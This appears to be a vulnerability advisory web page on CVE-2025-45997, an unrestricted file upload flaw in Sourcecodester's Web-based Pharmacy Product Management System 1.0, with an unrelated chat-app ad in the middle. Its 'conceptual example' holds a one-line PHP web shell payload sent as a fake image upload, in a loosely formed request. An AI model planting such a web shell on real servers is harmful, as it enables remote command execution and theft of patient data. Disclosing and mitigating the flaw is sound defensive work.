Overview
The cybersecurity world is always on alert for new vulnerabilities that can compromise system security and user data. One such vulnerability has been identified in the Sourcecodester Web-based Pharmacy Product Management System version 1.0. This vulnerability, designated as CVE-2025-45997, exploits a flaw in the file upload mechanism of the system, potentially leading to system compromise or data leakage. It is of significant concern as it affects any pharmacy or healthcare institution using the vulnerable version of this software. The impact of a successful exploit could range from data corruption to loss of sensitive patient information.
Vulnerability Summary
CVE ID: CVE-2025-45997
Severity: High (8.6 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
Sourcecodester Web-based Pharmacy Product Management System | v.1.0
How the Exploit Works
This vulnerability exploits a flaw in the file upload mechanism of the Web-based Pharmacy Product Management System. It allows an attacker to upload a malicious PHP file disguised as an image by modifying the Content-Type header to image/jpg. Since the system does not thoroughly validate the Content-Type of uploaded files, it accepts the PHP file as an actual image, executing the malicious code when the file is accessed.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited:
POST /uploadfile.php HTTP/1.1
Host: vulnerablepharmacy.com
Content-Type: image/jpg
{ "@payload": "<?php echo shell_exec($_POST['cmd']); ?>" }In the above example, the cmd parameter can be replaced with any command that the attacker wants to execute on the server.
Recommended Mitigation
The ideal mitigation approach is to apply the vendor patch as soon as it becomes available. Until then, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) should be implemented to monitor and block suspicious file upload attempts. Additionally, the system should be configured to thoroughly validate the Content-Type of all uploaded files and reject any that don’t match the expected types.